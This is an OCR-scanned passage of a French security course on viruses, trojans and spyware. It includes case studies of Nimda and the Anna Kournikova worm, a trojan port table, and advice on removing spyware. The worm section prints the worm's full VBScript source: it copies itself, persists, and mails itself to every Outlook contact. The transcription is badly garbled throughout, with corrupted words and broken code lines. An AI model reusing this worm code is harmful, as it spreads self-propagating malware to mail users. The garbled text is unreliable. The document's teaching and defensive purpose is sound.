Certains virus reprennent des documents ou des courrieog€npour les envoyer de nouveau a des desti-
nataires aléatoires de votre carnet d'adresse. Vous paypar exemple, envoyer des courriers confidentiels
(imaginons au pire que ce soit votre courrier contenant kets e passe du mois courant (ce qui représente
une seconde faute)) sans vous en apercevoir. Adieu la 8#&daris ce cas la.

Par exemplelroj/Love Let-A envoie par mail & une adresse aux Philippines des rensegersur
I'utilisateur et sa machine.

36.3 Etude de cas

Etudions le cas du virus Nimda. [2]

Nom  W32/Nimda-D Alias W32.Nimda.E@mm, W32/Nimda.g@MM

Type Virus de fichier exécutable W32

Description  W32/Nimda-D est une variante de W32/Nimda-A. Le virus seppge par le biais d'e-
mails, des partages réseau et des sites Internet.

Le virus W32/Nimda-D peut infecter les utilisateurs de éysts d’exploitation Windows 95/98/Me ainsi
gue ceux de Windows NT et 2000.
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Les e-mails affectés par le virus ont une piece jointe nomB#ddPLE.EXE. Le virus essaie d’exploiter
une faille de sécurité MIME présente dans certaines versions de Microsoft Outlookrddoft Outlook
Express, et Internet Explorer, qui pernggéxécuter automatiquement un fichier sans que I'utilisater
ne double-clique sur la piéce jointe

Le virus se copie dans le répertoire Windows sous les nomgklieifs load.exe et riched20.dll (ayant
les attributs de fichier configurés a "caché") et essaie deogmger vers d’'autres utilisateurs par le biais de
partages réseau.

Le virus modifie le fichier System.ini pour inclure la ligne

shell=explorer.exe load.exe -dontrunold

pour gu'il s’exécute au démarrage de Windows.

Le virus s’envoie a d'autres adresses e-mail trouvées stditiateur. De plus, le virusecherche des
serveurs web IS souffrant de plusieurs faillesincluant la faille Unicode Directory Traversal.

Le virus parcourt les serveurs HTTP IIS en générant de falgatare des adresses IP et en envoyant
des requétes HTTP GET malformées. Lorsqu’une machine rabieest trouvée, le virus se copie dans le
fichier HTTPODBC.DLL et s’exécute.

Sur certaines machines infectées, le virus se copie aussildaépertoire Windows sous le nom de fi-
chier CSRSS.EXE.

Le virus essaiele modifier le contenu des pages de tels serveucherchant des fichiers avec les noms
suivants :

index.html
index.htm
index.asp
readme.htmi
readme.htm
readme.asp
main.html
main.htm
main.asp
default.html
default.htm
default.asp

Si I'un des fichiers est trouvé sur le serveur web, le virugieste modifier le contenu du fichier, en ajoutant
une partie de code JavaScript malveillante a la fin du fichier.

Si le site web est alors consulté par un utilisateur avec ensian non-sécurisée d'Internet Explorer, le
code malveillant télécharge automatiquement un fichiermémeadme.eml sur I'ordinateur de I'utilisateur
- qui est ensuite exécuté, faisant suivre le virus une foiglde

Lorsque le virus se propage en utilisant les lecteurs réskeplace un nombre de fichiers aux noms
aléatoires avec les extensions EML et NWS. Le contenu dedaser est identique au contenu du fichier

IMIME : "Multi-purpose Internet Mail Extensions”, est uneésgjfication décrivant les formats de messages multimédias s
I'Internet.
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readme.eml.
Le corps du virus contient le texte "Concept Virus (CV) V.6o8adght(C) 2001, (This’s CV No Nimda.)".

Pour plus d’informations sur la protection de vos systenoesgre Nimda, veuillez lire :

http ://www.microsoft.com/technet/security/topicaiiia.asp.

36.4 Descriptif du Virus : VBS.SST@mm alias Virus AnnaKourni-
kova

Le virus VBS.SST@mm aussi appelé Virus Anna Kournikova ester similaire a | Love You qui se
propage via la messagerie. Le message a comme titre «Helgayeu, «Here you go» «Here you are». Le
corps du message contient le texte “Hi : Check This!". La @igxnte au message est un fichier intitulé «
AnnaKournikova.jpg.vbs » ou une abréviation similaire Becei. Si I'utilisateur exécute la piece jointe, le
virus se copiera dans le répertoire Windows et se transanediir messagerie a tous les contacts du carnet
d’adresses Microsoft Outlook. Le résultat peut étre un eggoent des serveurs de messageries pouvant
avoir un effet similaire a une attaque Denial Of Service.

36.4.1 Description Technique

Lorsqu'il est exécuté, le ver crée les entrées suivantes lddrase de registre :
HKEY_CURRENT_USER\Software\OnTheFly

Si le ver est exécuté le 26 Janvier, il tentera de se conngctesite Internet en Hollande.

Ensuite, le ver se transmettra a tous les destinatairesrdatadiadresses Microsoft Outlook et donnera
la valeur 1 a la clé suivante HKEY\_CURRENT\_USER\Software\OnTheFIly\Mailed

Ceci pour éviter que le ver s’expédie plusieurs fois.
Le sujet, le corps et la piéce jointe au message sont :
— Sujet : Here you have ;0)

— Corps du message : Hi : Check This!
— Piece jointe : AnnaKournikova.jpg.vbs

36.4.2 Exemple de code de Virus : AnnaKournikova

Listing 36.1 — Code source de AnnaKournikova

"Vbs.OnTheFly Created By OnTheFly
On Error Resume Next

Set WScriptShell = CreateObject("WScript. Shell")

WScriptShell . regwrite "HKCU\software\OnTheFIy\", "Wa made,with_Vbswg,61.50b"
Set FileSystemObject= Createobject("scripting.filesystemobject")
FileSystemObject. copyfile wscript.scriptfullname ,

FileSystemObject. GetSpecialFolder(0) & "\AnnaKournikova .jpg.vbs"

<l-— La ligne ééprcdente se doit’'dtre a la suite de GetSpecialFolder ..—>
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if WScriptShell.regread ("HKCU\software\OnTheFly\mailedd <> "1" then
doMail ()

end if

if month(now) = 1 and day(now) = 26 then

WScriptShell .run "Http ://www. dynabyte .nl" ,3, false

end if

Set thisScript = FileSystemObject. opentextfile(wscript.scriptfullname ,

thisScriptText = thisScriptreadall
thisScript Close

Do

If Not (FileSystemObject. fileexists(wscript.scriptfullname))Then

Set newFile = FileSystemObject. createtextfile(wscript. scriptfullname ,
newFile write thisScriptText

newFile Close

End If

Loop
Function doMail ()

On Error Resume Next
Set OutlookApp = CreateObject("Outlook. Application")
If OutlookApp = "Outlook"” Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
Set AddressLists = MAPINameSpace. AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> Then
entryCount = address.AddressEntries . Count
For i = 1 To entryCount
Set newltem = OutlookApp.Createltem(0)
Set currentAddress = address.AddressEntries (i)
newltem.To = currentAddress . Address
newltem. Subject = "Hereyou_have ,,;0)"
newltem.Body = "Hi:" & vbcrif & "Check_ This!" & vbcrlf & ""
set attachments = newltem. Attachments
attachmentsAdd FileSystemObject. GetSpecialFolder(0) &
"\ AnnaKournikova . jpg.vbs"
newltem. DeleteAfterSubmit = True
If newltem.To <> "" Then
newltem. Send
WScriptShell .regwrite "HKCU\software\OnTheFly\mad", "1"
End If
Next
End If
Next
end if

End Function

"Vbswg 1.50b

1)

True)
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Debug
Quelques petites spécifications de programmation sontr@atiwa pour comprendre le programme :
regwrite permet d’écrire dans la base de registre

wscript.scriptfullname| retourne le chemin complet du script en cours d’exécution
GetSpecialFolder(0) retourne le chemin systéme de Windows

opentextfile (path, 1) ouvre le fichier texte en lecture seule

createtextfile (path, 1 ouvre le fichier en overwrite

MAPI Microsoft API (Application Programming Interface)

36.5 Conclusion : Se protéger

Comme nous avons pu le constater, il est nécessaire de ragtite I'anti-virus sur le serveur et les
machines clientes qui ont accés a ce serveur.
Ceci ne suffit hélas pas, I'anti-virus a toujours un wagonedard par rapport au dernier virus connu. Il est
donc nécessaire d'étre trés paranoiaque lors de I'ouesdicourrier électronique avec pieces attachées.
L'une des principales choses a effectuer est aussi d’almsreddes clients mails de type passoire ;-).

36.6 Travaux Pratiques
36.6.1 Analyse de code

Retrouver les différents éléments décrits dans I'analyséms dans le code source du virus.

36.6.2 Installation d’'un antivirus

Installer AntiVir.

Utiliser I'aide pour voir le descriptif d'un virus.

Allez sur le site d’antivir ljttp://www.antivir.de ) pour découvrir le dernier antivirus sorti.
Faire un scan de tous les fichiers de votre disque dur.


http://www.antivir.de

Chapitre 37

Les Trojans ou Chevaux de Troie

37.1 Introduction

Utilisé a des fins de maintenance dans les logiciels comenetcies portes dérobées et autres spécifi-
cations de maintenance peuvent transformer trés rapidamesimple logiciel en véritable spyware. Inutile
d’étre un 007 dans ce cas pour deviner ce que vous avez sardistiue dur.

37.2 Rappel Historique

Troie (guerre de) Guerre Iégendaire racontée dans I'lliade et 'Odysséesi gjue dans les autres
poémes épiques de I'Antiquité grecque qui forment le cydgen. Elle refléte sans doute I'un des derniers
épisodes de I'expansion mycénienne.
D’aprés la légende, cette guerre fut provoquée par I'emti@rd d’'Héléne, femme du roi de Sparte, Mé-
nélas, par le prince troyen Paris. Pour venger cet affrest@recs lancérent contre Troie une expédition
commandée par Agamemnon. Aprées un siege de dix ans infuuGtlieoie fut prise par la ruse : les grecs
construisirent un immense cheval de bois qu’ils amenérevarat Troie et se retirérent, faisant semblant
d’honorer ainsi la résistance de Troie et d’'abandonnegigesiLes troyens introduisirent le cheval dans la
ville d’ou sortirent, de nuit, des guerriers qui ouvrirezs portes de la cité. Celle-ci fut rasée et ses habitants
massacreés ou réduits en esclavage.

37.3 Définition

Un Trojan possede 3 caractérisques principales :

1. un comportement apparament utile a I'utilisateur dedifoaiteur (c’est le porteur, la partie visible du
cheval que les grecs exhibérent devant Troie)

2. c’est l'utilisateur qui va installer le programme sur swdinateur (ce sont les troyens eux-mémes qui
introduisirent le cheval dans I'enceinte de Troie)

3. un comportement caché malveillant conduisant a la detgirudes données et/ ou a I'ouverture d'une
porte dans le systéme de communication (c’est la cohortesas gortant en cachette de nuit du cheval
pour ouvrir les portes de Troie et permettre au reste de €argrecque d’entrer et totalement détruire
Troie).

On les nomme aussi de la fagon suivante : Backdoor (“ported@éde”) ou plus vulgairement Back Orifice
(“trou du cul”)
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Acces Telnet permet de lancer une application en mode texte type "Ms-Dosn-
vite de commande" de fagon invisible et de rediriger I'estsértie stan-
dard vers un port particulier. L'attaquant n'a plus qu’agynecter (via
telnet) pour communiquer directement avec I'application.

Acces HTTP avec un navigateur | supporte le téléchargement et I'envoi de fichiers

permet de créer un serveur web basique dont la racine esticadlisque
dur (défaut). Ainsi, un simple navigateur web permet de gnaei dans
I'arborescence des fichiers, d’en télécharger et méme djenter.
Information sur le systéme distanf Récupére tous les mots de passe et permet d’accéder auxfistoes
de passe Windows (pwl et autres) et d’en afficher le contenuotar
que les mots de passe utilisés pour des connexions distpartages
de documents, etc, sont également récupérés.
Envoi de boites de dialogue (ver-permetde communiquer avec I'utilisateur.

sion Windows) avec réponse de

I'utilisateur
Fonction keylogger permet d’enregistrer toute frappe au clavier pour récujpérat traite-
ment ultérieur (mots de passe sur le web, mails, etc..)eGetiction-
nalité existe également en version temps-réel : affichagefrdppes
clavier en direct chez I'attaquant.
TAB. 37.1 — Quelques fonctionnalités d’un trojan
37.4 Exemple

Nom  Troj/Subseven Alias Troj/Backdoor-G., Sub Seven, TrdyBuBsubseven.backdoor

Type Cheval de Troie

Résident Non.

Description  Le package contient deux ou trois programmes. L'un des fisldievrait étre installé sur
une machine "serveur". Une fois le programme serveur igsteal client prend le contréle de |"ordinateur
infecté. Le client est un puisssant outil "d"administratiadistance”. Il a des capacités de controle a distance
telles que la possibililté d”éditer le fichier de registresguveur Windows, commuter |"écran, changer les
couleurs du bureau, redémarrer Windows, jouer des sonsyensles messages, arréter I"affichage, désacti-
ver des touches du clavier, cacher le curseur de la sours loarte des taches.

Le client peut aussi voler les mots de passe et lire les tauptessées sur le clavier du serveur depuis
le dernier démarrage. Le troisieme programme est un uditui peut étre utilisé pour configurer le pro-
gramme serveur. |l est possible de patcher le serveur avepaorte quel exécutable pour qu’il mime la
reception d"un fichier valide au lieu d"un cheval de Troiept@gramme de configuration du serveur confi-
gure aussi la facon dont le serveur est "installé". Poustiker, le serveur peut utiliser le fichier de registre
de Windows.

Il peut aussi changer les fichieCs \WINDOWS\WIN.INI ou C :\WINDOWS\SYSTEM.INI pour
que le serveur s'exécute au démarrage de Windows.

Faille

Comme on peut le voir tout ce que vous tapez au clavier peait@rcepté. A 'image du sniffer vu
en début de cours, le trojan permettra a toute personne ileite de connaitre ce qui est saisi par un
administrateur systéme et réseaux, notamment les motssde gacces a vos serveurs.

37.5 Conclusion : Se protéger

Une nouvelle fois un anti-virus est le bienvenu. Mais celipourrait étre malencontreusement désactivé
par un nouveau trojan (comme I'a fait le virus BugBear). Léliexe moyen demeure tout de méme le filtrage
des logs du FireWall. Voici un tableau des virus Trojansnefiéés et les ports concernés (des jeux y sont
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présents).

Source : http ://www.onctek.com/trojanports.html

Port Possible Trojan/BackDoor
1 Sockets de Troie (UDP)
2 Death

20 Senna Spy FTP Server
21 Back Construction
21 FTP trojan

21 WinCrash

21 Juggernaut 42

21 Senna Spy FTP
22 Shaft

23 Tiny Telnet Server[TTS]
25 Ajan

25 Naebi

25 Shtrilitz

25 WinPC

25 Gris

25 Magic Horse

30 Agent 40421

31 Agent 31

41 DeepThroat

48 DRAT

50 DRAT

58 DMSetup

59 DMSetup

79 Firehotcker

80 Executor

80 BackEnd

80 God Message

80 MTX

80 WAN Remote

81 RemoConChubo
99 Hidden Port

110 ProMail trojan
113 Kazimas

119 Happy 99

121 JammerKillah

123 NetController

133 Farnaz

137 Chode

138 Chode

139 Chode

139 Network

142 NetTaxi

146 Infector

170 A-Trojan

334 Backage

411 Backage

420 Breach

421
455
456
513
514
531
555
555
605
666
666
666
667
669
692
777
808
911
999
1000
1001
1001
1010
1011
1012
1015
1016
1024
1024
1035
1042
1045
1049
1050
1053
1054
1080
1081
1082
1083
1090
1095
1097
1098
1099
1150
1151
1170

TCP Wrappers
Fatal Connections
Hackers Paradise
GRLogin
RPCBackdoor
Rasmin

Ini-Killer

711 [Seven Eleven]
Secret Service
Attack FTP
ServeU
Th3rlpp3rz [The Rippers]
SniperNet
DPTrojan

GayOL

AIM Spy
WinHole

Dark Shadow
DeepThroat

Der Spaeher
Silencer

Der Spaeher
Doly Trojan

Doly Trojan

Doly Trojan

Doly Trojan

Doly Trojan
NetSpy

Remote Spy
MultiDropper

Bla

Rasmin

/sbin/initd
MiniCommand
The Thief
AckCMD
WinHole

WinHole

WinHole

WinHole

Xtreme

RAT

RAT

RAT

RAT

Orion

Orion

Psyber Stream Server
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1200
1201
1207
1208
1212
1234
1243
1245
1255
1256
1257
1269
1272
1313
1338
1349
1394
1441
1492
1505
1509
1524
1568
1600
1703
1777
1807
1966
1967
1969
1981
1999
2000
2000
2001
2002
2003
2004
2005
2023
2080
2086
2115
2030
2140
2040
2155
2255
2283
2300
2311

NoBackO (UDP)
NoBackO (UDP)
SoftWar

Infector

Kaos

Ultors Trojan
BackDoor-G
VooDoo Doll
Scarab

Project nEXT
Frenzy 2000
Mavericks Matrix
The Matrix
NETrojan
Millenium Worm
BO DLL (UDP)
GoFriller
Remote Storm
FTP99CMP
FunkProxy
Psyber Streaming Server
Trin00

Remote Hack
Shivka-Burka
Exploiter

Scarab
SpySender
FakeFTP

WM FTP Server
OpC BO
Shockrave
BackDoor
TransScout
Insane Network
TransScout
TransScout
TransScout
TransScout
TransScout
Ripper Pro
WinHole
Netscape/Corba Exploit
Bugs

Mini Backlash (UDP)
Deep Throat 1.3 Server (UDP)
Foreplay (UDP)
lllusion Mailer
Nirvana

HVL Rat
Xplorer

Studio 54

2330
2331
2332
2333
2335
2336
2337
2338
2339
2345
2565
2583
2600
2716
2773
2774
2801
2989
3000
3024
3031
3128
3129
3150
3344
3345
3456
3459
3700
3777
3791
3801
4000
4092
4242
4321
4444
4567
4590
5000
5000
5001
5002
5010
5011
5025
5031
5032
5321
5333
5343

Contact

Contact

Contact

Contact

Contact

Contact

Contact

Contact

Contact

Doly Trojan
Striker

WinCrash

Digital RootBeer
Prayer 1.2
SubSeven
SubSeven
Phineas Phucker
RAT (UDP)
RemoteShut
WinCrash
MicroSpy
RingZero
Masters Paradise
Deep Throat 1.3 Server (UDP)
Matrix Client
Matrix Server
Terror Trojan
Eclipse 2000
Portal of Doom
Psych Ward
Eclypse

Eclypse (UDP)
Skydance
WinCrash

Virtual Hacking Machine [VHM]
BoBo

Prosiak

File Nail
ICQTrojan
Bubbel

Blazer5

Back Door Setup
cd0oOr

Solo

One of the Last Trojans
WM Remote Keylogger
NetMetro
NetMetro
Firehotcker
Backage

wCrat WC Remote Admin Tool
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5400
5401
5402
5512
5534
5550
5555
5556
5557
5569
5637
5638
5639
5714
5741
5742
5760
5880
5882
5888
5889
6000
6006
6272
6400
6661
6666
6667
6667
6669
6670
6670
6671
6674
6711
6712
6713
6723
6771
6776
6838
6883
6912
6939
6969
6970
7000
7000
7001
7215
7300

Blade Runner 7301
Blade Runner 7306
Blade Runner 7307
lllusion Mailer 7308
The Flu 7424
Xtcp 7597
ServeMe 7626
BO Facil 7777
BO Facil 7789
Robo-Hack 7891
PC Crasher 7983
PC Crasher 8080
PC Crasher 8787
WinCrash Server 8988
WinCrash 8989
WinCrash 9000
PortMap Remote Root Linux Exploit 9325
Y3K Rat 9400
Y3K Rat 9872
Y3K Rat 9873
Y3K Rat 9874
The Thing 9875
Bad Blood 9876
Secret Service 9878
The Thing 9989
TEMain 9999
DarkConnection Inside 10000
Pretty Park 10005
Subseven 2.14 10067
Vampyre 10085
DeepThroat 10086
WinNuke 10100
DeepThroat 10101
DeepThroat 10167
Deep Throat v2 10520
SubSeven 10528
SubSeven 10607
MStream 10666
DeepThroat 11000
BackDoor-G 11050
MStream 11051
DeltaSource 11223
Shit Heep 12076
Indoctrination 12223
GateCrasher 12345
GateCrasher 12345
Remote Grab 12345
SubSeven 2.1 Gold 12345
Freak88 12346
SubSeven 12349
NetMonitor 12361

NetMonitor
NetMonitor
NetMonitor
NetMonitor
Host Control
Qaz

Glacier

God Message
Back Door Setup
The ReVeNgEr
MStream
RingZero
BackOrifice 2000
BacHack
Recon
NetMinistrater
MStream (UDP)
InCommand
Portal of Doom
Portal of Doom
Portal of Doom
Portal of Doom
Cyber Attacker
TransScout
iNi-Killer

Prayer 1.2
OpwinTRojan
OpwinTRojan

Portal of Doom (UDP)

Syphillis
Syphillis
Control Total
BrainSpy

Portal of Doom (UDP)

Acid Shivers
Host Control
Coma

Ambush (UDP)
Senna Spy
Host Control
Host Control
Progenic trojan
Gjamer

Hack 99 KeylLogger
GabanBus
Ashley

icmp pipe.c
Whack Job
GabanBus
BioNet
Whack-a-mole
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12362
12363
12623
12624
12631
12754
13000
13010
13013
13014
13223
13473
14500
14501
14502
14503
15000
15092
15104
15302
15858
16484
16660
16772
16959
16969
17166
17300
17449
17499
17500
17569
17593
17777
18753
19864
20000
20001
20002
20005
20023
20034
20203
20331
20203
20331
20432
20433
20544
21554
22222

Whack-a-mole
Whack-a-mole

DUN Control (UDP)

ButtMan
WhackJob
MStream
Senna Spy

Hacker Brasil [HBR]

Psych Ward
Psych Ward

Hack 99 Keylogger

Chupacabra
PC Invader
PC Invader
PC Invader
PC Invader
Net Demon
Host Control
MStream
Sub Zero
CDK
Mosucker
Stacheldraht
ICQ Revenge
Sub Seven
Priority
Mosaic

Kuang2 The Virus

Kid Terror
CrazzyNet
CrazzyNet
Infector
Audio Door
Nephron
Shaft (UDP)
ICQ Revenge
Millennium
Millennium
Acidkor
Mosucker
VP Killer
NetBus 2 Pro
Chupacabra
Bla

Logged

BLA Trojan
Shaft

Shaft (UDP)
Girlfriend
GirlFriend
Prosiak

23005
23006
23023
23032
23432
23456
23476
23477
23777
24000
25685
25686
25982
26274
26681
27374
27374
27444
27573
27665
28678
29104
29369
29891
30000
30001
30003
30029
30100
30101
30102
30103
30133
30303
30947
30999
31335
31336
31337
31337
31337
31337
31338
31339
31666
31785
31787
31788
31789
31791
31792

NetTrash

NetTrash

Logged

Amanda

Asylum

Evil FTP

Donald Dick
Donald Dick
InetSpy

Infector

Moonpie

Moonpie

Moonpie

Delta Source (UDP)
VoiceSpy

Sub Seven 2.1 (UDP)
Sub Seven 2.14
Trinoo (UDP)

Sub Seven 2.1 (UDP)
Trin00 DoS
Exploiter

NetTrojan

ovasOn

The Unexplained (UDP)
infector

ErrOr32

Lamers Death

AOL Trojan
NetSphere
NetSphere
NetSphere
NetSphere
NetSphere

Sockets de Troie
Intruse

Kuang

Trin00 DoS

Bo Whack

Baron Night

Back Orifice (UDP)
Beeone

Sockdmini

NetSpy DK

NetSpy DK
BOWhack

Hack a Tack

Hack a Tack

Hack a Tack

Hack a Tack (UDP)
Hack a Tack (UDP)
Hack a Tack
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32001 Donald Dick 50130 Enterprise

32100  Peanut Brittle 50505  Sockets de Troie
32418  Acid Battery 50766 Fore

33270  Trinity 51966  Cafeini

33333 Prosiak 52317  Acid Battery 2000
33577  Son of PsychWard 53001 Remote Windows Shutdown
33777  Son of PsychWard 54283  SubSeven

33911  Spirit 2001a 54320 Back Orifice 2000
34324  BigGluck 54321  School Bus

34444  Donald Dick 55165 File Manager Trojan
34555  WinTrinoo 55166 WM Trojan Generator
35555  WinTrinoo 57341  NetRaider Trojan
37237  Mantis 58339  Butt Funnel

37651  Yet Another Trojan 60000 Deep Throat 1.3 Client (UDP)
40412  The Spy 60001  Trinity

40421  Agent 40421 60068  Xzip 6000068

40422 Masters Paradise 60411 Connection

40423  Masters Paradise 61348  Bunker-Hill Trojan
40425  Masters Paradise 61466  Telecommando

40426 Masters Paradise 61603 Bunker-Hill Trojan
41337  Storm 63485 Bunker-Hill Trojan
41666 Remote Boot Tool [RBT] 64101  Taskman

44444  Prosiak 65000  Devil

44575 Exploiter 65390 Eclypse

47262 Delta Source (UDP) 65421  Jade

49301  Online KeyLogger



Chapitre 38

Spyware

38.1 Introduction

Un spyware pourrait étre considéré comme un cheval de t'et, a dire qu'il s’installe en méme temps

gu’un programme légitime, mais le plus souvent pas a l'insUiailisateur. En effet, dans les conditions
d'utilisation, vous trouverez souvent une phrase stigulamstallation de ce spyware. Il existe plusieurs
types de spywares Gator, New.net, SaveNow, TopText, Aldedhancer, Radiate, Cydoor, Conducent, On-
flow ou Web3000.
Rien ne les différencie en apparence des logiciels classjcupart leur propension a la gratuité. Les spy-
wares sont pourtant les représentants d’'un nouveau basmnedel, dans lequel les produits et services
s’échangent contre une parcelle de vie privée. Face auxedémtelles ou potentielles de ce systeme, les
spécialistes américains ont tiré la sonnette d’alarme idg@usieurs années déja. En France, la majorité
des internautes n'a méme pas connaissance de leur existdm@échargés sur internet ou trouvés dans le
CD-Rom d’'un magazine informatique, les spywares sont dgsils (presque) comme les autres.

38.2 Définition

Un spyware, en francais "espiogiciel" ou "logiciel espioest un programme capable en plus de sa
fonction propre de collecter des données sur ses utilisattde les transmettre via internet. Les spywares
sont parfois confondus avec les adwares, ces logicielsidomeur se rémunére par I'affichage de banniéres
publicitaires mais sans recueillir ni transmettre d’imf@tions.

Une définition plus rigoureuse du spyware pourrait étreeegll: "module logiciel - et par extension
programme - permettant de collecter de maniére sélectvaftmations sur ses utilisateurs (configuration
matérielle et/ou logicielle, habitudes d'utilisation,ri@es personnelles, etc.) puis de les transmettre a son
concepteur ou a un tiers (ex. : régie publicitaire) via inétiou tout autre réseau informatique, sans avoir au
préalable obtenu une autorisation explicite et éclairdautbsateur".

Cette derniére condition reste toutefois discutable, ‘cdifisateur n’en reste pas moins soumis a une
surveillance permanente de ses habitudes d'utilisationegdlance qui peut en plus étre illégale du point de
vue de la législation de son pays de résidence.

Une nouvelle tendance encore plus contestable concernsilisateurs du navigateur Internet Explo-

rer. Certains spywares comme Gator cherchent a s'installematiquement sur le poste de l'internaute au
moyen de la technologie ActiveX lors de la visite de pages peabrecommandables.
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Il existe deux types de spywares :

— Le spyware intégré (ou interne) est une routine incluse dkacode source d’un logiciel ayant une
fonction propre pour lui donner la possibilité de colle@ede transmettre des informations par inter-
net. Ces spywares sont téléchargeables séparément ourgpas@s a I'installation en méme temps
gue d'autres programmes gratuits, eux-mémes généralelesispywares, grace a des accords entre
éditeurs de logiciels. C'est le cas notamment de Gator, NgpwSaveNow, TopText, Alexa et Web-
hancer.

— Le spyware externalisé est une application autonomeglialat avec le logiciel principal qui lui est
associé, et dont la seule fonction est de se charger de Hitrelclient” : collecte et transmission
d’'informations, affichage de banniéres publicitaires, €es spywares sont congus par des régies
publicitaires ou des sociétés spécialisées comme Radgtimor, Conducent, Onflow ou Web3000,
avec lesquelles les éditeurs de logiciels passent égatetesmccords. Le spyware de Cydoor est par
exemple associé au logiciel peer-to-peer KaZaA, et s’iliested méme temps que lui.

38.3 Fonctionnement

Les spywares ont pour mission d’observer leurs utilisatetide collecter des données dans un but sta-
tistique, marketing ou commercial. La nature des donnéklisctées et transmises est définie dans le code
source du spyware lui-méme. Il ne s’agit pas a priori de desm®minatives, mais le cryptage des trans-
missions fait qu’il est difficile de s’en assurer.

Les spywares ne sont ni des virus, ni des troyens, méme s'iassible de leur trouver de lointains
points communs, comme le fait de s'installer sans gque iatieur ne le sache toujours, ou bien d’envoyer
des données via internet a I'insu de l'utilisateur. La phipies spywares optent en effet pour une extréme
discrétion : ils agissent en tache de fond, apparaissearheant dans le Menu Démarrer de Windows, et, dans
le cas des spywares externalisés, sont le plus souventtalukela liste des programmes installés figurant
dans le Panneau de configuration.

Dans le cas d'un spyware publicitaire comme Cydoor, I'ifestimn copie sur le disque les fichiers né-
cessaires au fonctionnement de I'application (cd_load.ed_clint.dll et cd_htm.dll), crée un répertoire
pour stocker les bannieres qui seront affichées a l'uisaméme lorsqu’il sera hors ligne (Windows/-
System/AdCache), puis modifie la base de registres. L'apaies informations collectées par le spyware
permet de déterminer les préférences de I'utilisateur dtidgroposer des banniéres publicitaires ou des
mails promotionnels toujours plus ciblés, en rémunérapizeasage les éditeurs de logiciels partenaires.

Le spyware s'exécute souvent automatiquement au démadeay¢indows et mobilise donc en per-
manence une partie des ressources du systéme. Certaimgisrioalités annexes comme la mise a jour
automatique peuvent représenter un réel danger pour latééde I'utilisateur, en permettant le télécharge-
ment et l'installation & son insu d’'un autre programme ougrg, voire d'un programme hostile dans le
cas du détournement du systéme par une personne maheillant

38.4 Reconnaitre un spyware

Depuis les scandales provoqués en 1999 par la découvenpgwares dans SmartUpdate (Netscape) et
RealJukeBox (Real Networks), la pratique est devenue pnsparente et les éditeurs de logiciels commu-
niguent davantage sur le sujet. Quelques régles simplegpeétre observées :

— lire attentivement les conditions d’utilisation d’un loigl avant de I'installer. L'existence d'un spy-

ware et de ses fonctionnalités annexes y sont normalenggralées, méme s'il faut bien souvent lire
entre les lignes car le spyware y est présenté en des termlesxs voire trompeurs, voire parce que
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tout est fait pour que I'utilisateur évite de lire lesditemditions d'utilisation. Ces derniéres détaillent
également les droits accordés aux utilisateurs;;

— ne pas accepter sans réfléchir les programmes supplénasritaéntuellement proposés lors de l'ins-
tallation d’un logiciel, mais décider en connaissance deseaNew.net, SaveNow et Webhancer sont
ainsi proposés par défaut lors de I'installation de KaZaAijsnil suffit de décocher les cases corres-
pondantes pour qu'ils ne soient pas installés;

— surveiller les demandes d’autorisation de connexionexriet provenant du firewall, afin de détecter
toute application suspecte. C'est une autre bonne raigostaller un firewall personnel (voir plus
loin);

— s'informer aupres de sites spécialisés. Secuser.comlettisad’information hebdomadaire Secuser
News aborde régulierement la question des spywares.

Dans le doute, il est également conseillé d’exécuter usywiare (voir plus loin) aprés l'installation d’'un
logiciel suspect, afin de s’assurer de ne pas avoir instalEpyware sans le savoir.

38.5 Comment détecter la présence d’'un spyware ?

Le plus simple pour détecter la présence d’'un spyware estodéger par des moyens indirects, a savoir
son activité, la présence de fichiers caractéristiques partedu logiciel suspect.
Il existe en effet des listes de spywares, consultableséat 'sous forme de moteurs de recherche ou encore
d'utilitaires dédiés.

Cette méthode de détection est simple, mais aucun site n@pandre a I'exhaustivité : méme I'uti-
litaire Ad-Search (LavaSoft) édité par un spécialiste detsest incomplet. Elle ne constitue donc qu’une
premiéere approche, qui reste trés pédagogique car ellespelermesurer I'ampleur du phénomeéne.

Certains firewalls personnels sont capables de filtrer fie sartant sur une base applicative, c’est-a-dire
gue chaque application souhaitant accéder a internetulpitéalable y avoir été autorisée.

Cette solution donne de bons résultats avec la plupart gesses, y compris si le spyware est une DLL
('application qui tente de se connecter a internet essdRiUNDLL32.EXE), mais elle ne peut rien contre
les spywares intégrés si le logiciel concerné a déja ét&iaéta accéder a internet dans le cadre de son
fonctionnement normal. Lutilisateur doit par ailleursegsuffisamment compétent pour pouvoir décider si
I'application qui tente de se connecter doit ou non y étrerggée.

C’est pourquoi des antispywares ont été congus sur le mddslantivirus, afin de détecter les spywares
sur la base de signatures. Utilisables facilement mémegsanan initiés, ils permettent de détecter un spy-
ware méme s'il n’est pas actif, mais restent dépendants aeska a jour du fichier des signatures. OptOut
étant abandonné, le plus performant des antispywaredsesteAd-Aware (LavaSoft), qui a par ailleurs le
mérite d’exister en version francaise.

Ce programme permet de scanner la mémoire de I'ordinagloase de registres et les fichiers des
différents disques a la recherche des composants inditpuprésence d’'un spyware.

38.6 Comment faire pour éliminer un spyware ?

La désinstallation d’un logiciel supprime rarement lesvegnes installés avec lui. Ainsi, la désinstal-
lation de KaZaA ne supprime ni son spyware externalisé Cydodes autres spywares installés avec ce
logiciel.
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Pour éliminer un spyware intégré, il suffit le plus souveralliér dans le Panneau de configuration de
Windows et de désinstaller I'application correspondabtns le cas d’'un spyware externalisé, il est par
contre généralement nécessaire de passer par une profmgmie par son éditeur dans une obscure FAQ,
ou plus efficacement d'utiliser Ad-Aware en supprimant leBiéirs constitutifs du spyware.

Dans la plupart des cas, I'élimination d’'un spyware extisadera que le logiciel associé cessera de
fonctionner, affichant un message du type : "Vous avez effilacéomposant du logiciel nécessaire a son
exécution. Le logiciel ne fonctionnera plus mais vous paugeéinstaller".

38.7 Conclusion : Spyware or not spyware ?

Contrairement a la publicité en ligne telle que gérée padierDoubleClick, qui par I'intermédiaire des
sites internet de tous ses clients collecte et centraliseaaksi des données sur les préférences de chaque
internautd, les spywares ont le mérite de n’étre actifs que lorsquédisateur installe un de ces logiciels
en contrepartie de son utilisation gratuite, laissantdartié aux autres internautes de ne pas en installer ou
d’opter pour une version payante dépourvue de spyware.

Malheureusement, les éditeurs de logiciels ont rapider@gntentés de profiter de la discrétion des
spywares pour en dissimuler I'existence ou pour les laissplantés méme lorsque le logiciel associé est
